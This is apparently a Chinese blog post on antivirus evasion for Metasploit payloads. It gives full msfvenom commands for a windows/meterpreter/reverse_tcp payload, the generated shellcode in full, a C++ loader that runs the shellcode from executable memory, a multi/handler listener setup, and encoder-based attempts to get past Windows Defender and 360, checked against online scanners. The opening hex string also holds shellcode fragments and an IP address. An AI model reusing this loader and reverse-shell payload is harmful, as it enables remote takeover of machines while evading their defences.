a\x2f\x2a\x3b\x71\x3d\x30\x2e\x38\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x65\x6e\x2d\x55\x53\x2c\x65\x6e\x3b\x71\x3d\x30\x2e\x35\x0d\x0a\x52\x65\x66\x65\x72\x65\x72\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x64\x65\x2e\x6a\x71\x75\x65\x72\x79\x2e\x63\x6f\x6d\x2f\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69\x6e\x67\x3a\x20\x67\x7a\x69\x70\x2c\x20\x64\x65\x66\x6c\x61\x74\x65\x0d\x0a\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x33\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x37\x2e\x30\x3b\x20\x72\x76\x3a\x31\x31\x2e\x30\x29\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x0d\x0a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\xaf\x0f\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x34\x35\x2e\x37\x36\x2e\x31\x31\x30\x2e\x31\x31\x36\x00\x00\x00\x00\x00";

配置visual stdio 2019

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210629104809774.png)

![image-20210629110630348](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210629110630348.png)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// ConsoleApplication1.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>

int main()
{
std::cout << "Hello World!\n";
}

// 运行程序: Ctrl + F5 或调试 >“开始执行(不调试)”菜单
// 调试程序: F5 或调试 >“开始调试”菜单

// 入门使用技巧:
// 1. 使用解决方案资源管理器窗口添加/管理文件
// 2. 使用团队资源管理器窗口连接到源代码管理
// 3. 使用输出窗口查看生成输出和其他消息
// 4. 使用错误列表窗口查看错误
// 5. 转到“项目”>“添加新项”以创建新的代码文件,或转到“项目”>“添加现有项”以将现有代码文件添加到项目
// 6. 将来,若要再次打开此项目,请转到“文件”>“打开”>“项目”并选择 .sln 文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// MSF.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
#include <iostream>
#include "stdio.h"
#include "Windows.h"
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") //去除窗口
//步骤b所在桌面产生的 shellcode.c的内容;
unsigned char shellcode[] =
void main()
{
//ShellExecute(NULL, _T("open"), _T("explorer.exe"), _T("https://www.baiud.com"), NULL, SW_SHOW);
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, shellcode, sizeof(shellcode));
((void(*)())Memory)();
}

这里我把shellcode 全部替换为了buf。

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210629105739038.png)

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210629105947318.png)

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210629111113057.png)

好家伙,编译生成之后,找到这个exe,Windows Defender 就报警了,直接给我删了。

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210629111254132.png)

大小:76kb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.226.1 LPORT=4444 -f c > shellcode.c

msf6 > msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.226.1 LPORT=4444 -f c > shellcode.c
[*] exec: msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.226.1 LPORT=4444 -f c > shellcode.c

No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of c file: 1512 bytes

msf6 > cat shellcode.c
[*] exec: cat shellcode.c

unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x89\xe5"
"\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x8b\x42\x3c\x57\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3"
"\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xc1"
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xe2\x01\x68\x02"
"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
msf6 >

1
2
3
4
5
use exploits/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.226.1
set lport 4444
run

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210629114449829.png)

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210629114629086.png)

msf 上线正常。

查看cs weblog

![image-20210629114936191](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210629114936191.png)

确实之前有连接beacon,但是就是没上线。

1年前是免杀360的,现在不行了,静态不动不查杀,运行和主动查杀gg。https://r.virscan.org/language/zh-cn/report/aab7bc6beead5b681de1f59563456e89

em。。。我上传测试的结果。

https://r.virscan.org/language/zh-cn/report/97ab90e582817bad6ce67cbaa49cd030

![image-20210629120348465](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210629120348465.png)

![image-20210629121353900](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210629121353900.png)

![image-20210629121537596](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210629121537596.png)

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210629121647606.png)

VT:

https://www.virustotal.com/gui/file/857e2e692728a013e8e88fffc05d1f00ac7a793abdecea25549746699f1d2c4d/detection

![image-20210629165326824](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210629165326824.png)

微步:

https://s.threatbook.cn/report/file/857e2e692728a013e8e88fffc05d1f00ac7a793abdecea25549746699f1d2c4d/?env=win10_1903_enx64_office2016

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210629170411665.png)

哈哈哈,由此可见,单纯通过这个方法,早已经不行了,需要改进。

虽然VT和微步都没查出来,但是运行确爆毒了。

我们利用之前学到的一些方法来尝试一下免杀。

看一下之前的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// MSF.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
#include <iostream>
#include "stdio.h"
#include "Windows.h"
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") //去除窗口
//步骤b所在桌面产生的 shellcode.c的内容;
unsigned char shellcode[] = "\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x89\xe5"
"\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x8b\x42\x3c\x57\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3"
"\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xc1"
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xe2\x01\x68\x02"
"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
void main()
{
//ShellExecute(NULL, _T("open"), _T("explorer.exe"), _T("https://www.baiud.com"), NULL, SW_SHOW);
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, shellcode, sizeof(shellcode));
((void(*)())Memory)();
}

这里属于 动态申请内存的方式来加载shellcode。

因为msf 生成的shellcode 是直接生成的,我们先试一下msfvenom 中的编码器。

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210629173900941.png)

1
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.226.1 LPORT=4444 -e x86/shikata_ga_nai -i 12 -f c > shellcode2.c

参考:

http://blog.leanote.com/post/snowming/5e915cdcdf79

https://uknowsec.cn/posts/notes/shellcode%E5%8A%A0%E8%BD%BD%E6%80%BB%E7%BB%93.html

Author: m0nk3y
Link: https://hack-for.fun/d789.html
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.